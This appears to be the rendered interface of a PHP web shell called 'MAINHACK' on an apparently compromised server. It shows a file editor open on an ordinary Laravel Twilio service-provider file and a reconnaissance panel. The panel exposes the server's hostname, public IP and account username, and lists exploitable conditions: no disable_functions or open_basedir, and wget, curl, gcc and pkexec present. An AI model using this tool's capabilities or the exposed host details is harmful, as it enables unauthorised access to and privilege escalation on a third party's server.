[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TwilioProvider.php
<?php namespace NotificationChannels\Twilio; use Illuminate\Contracts\Events\Dispatcher; use Illuminate\Contracts\Foundation\Application; use Illuminate\Contracts\Support\DeferrableProvider; use Illuminate\Support\ServiceProvider; use NotificationChannels\Twilio\Exceptions\InvalidConfigException; use Twilio\Rest\Client as TwilioService; class TwilioProvider extends ServiceProvider implements DeferrableProvider { /** * Bootstrap the application services. */ public function boot() { } /** * Register the application services. */ public function register() { $this->mergeConfigFrom(__DIR__.'/../config/twilio-notification-channel.php', 'twilio-notification-channel'); $this->publishes([ __DIR__.'/../config/twilio-notification-channel.php' => config_path('twilio-notification-channel.php'), ]); $this->app->bind(TwilioConfig::class, function () { return new TwilioConfig($this->app['config']['twilio-notification-channel']); }); $this->app->singleton(TwilioService::class, function (Application $app) { /** @var TwilioConfig $config */ $config = $app->make(TwilioConfig::class); if ($config->usingUsernamePasswordAuth()) { return new TwilioService($config->getUsername(), $config->getPassword(), $config->getAccountSid()); } if ($config->usingTokenAuth()) { return new TwilioService($config->getAccountSid(), $config->getAuthToken()); } throw InvalidConfigException::missingConfig(); }); $this->app->singleton(Twilio::class, function (Application $app) { return new Twilio( $app->make(TwilioService::class), $app->make(TwilioConfig::class) ); }); $this->app->singleton(TwilioChannel::class, function (Application $app) { return new TwilioChannel( $app->make(Twilio::class), $app->make(Dispatcher::class) ); }); } /** * Get the services provided by the provider. * * @return array */ public function provides(): array { return [ TwilioConfig::class, TwilioService::class, TwilioChannel::class, ]; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002